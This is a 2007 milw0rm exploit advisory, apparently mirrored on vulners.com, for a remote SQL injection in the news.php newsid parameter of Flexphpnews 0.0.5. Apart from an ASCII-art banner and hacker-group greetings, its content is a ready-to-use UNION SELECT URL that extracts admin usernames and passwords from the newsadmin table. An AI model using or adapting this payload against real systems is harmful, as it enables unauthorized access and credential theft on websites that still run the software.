Flexphpnews 0.0.5 (news.php newsid) Remote SQL Injection Vulnerability

2007-04-0500:00:00

vulners.com

169

JSON

                                                      .-&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;-.                                 
                                                     /   Dj7xpl   &#92;                              
                                                    |              |                                
                                                    |,  .-.  .-.  ,|                                
                                                    | &#41;&#40;_o/  &#92;o_&#41;&#40; |                                     
                                                    |/     /&#92;     &#92;|                                 
                                          &#40;@_       &#40;_     ^^     _&#41;                  
                                     _     &#41; &#92;_______&#92;__|IIIIII|__/_______________________________
                                    &#40;_&#41;@8@8{}&lt;________|-&#92;IIIIII/-|________________________________&gt;
                                           &#41;_/        &#92;          / 
                                           &#40;@

+____Iranian Are The Best In World+
*
*

  [~] Portal.......:    Flexphpnews version 0.0.5

[~] Download…: http://www.china-on-site.com/flexphpsite/other.php
[~] Author…: Dj7xpl | [email protected]
[~] Class…: Remote SQL Injection Vulnerability

+_______________________________________________________________________________________________________________________+

+_______________________________________________________________________________________________________________________+
*
*

  [~] Exploit......:     http://[Taget]/[Path]/news.php?newsid=999+union+select+0,username,password+from+newsadmin

+_______________________________________________________________________________________________________________________+

+_______________________________________________________________________________________________________________________+
*
*

  [~] Sp Tnx.......:     Milw0rm, Ashiyane, Delta Hacking, Virangar, Hackerz.ir, Shabgard.org, Simorgh .........

+_______________________________________________________________________________________________________________________+

milw0rm.com [2007-04-01]

JSON

Flexphpnews 0.0.5 &#40;news.php newsid&#41; Remote SQL Injection Vulnerability

milw0rm.com [2007-04-01]

Flexphpnews 0.0.5 (news.php newsid) Remote SQL Injection Vulnerability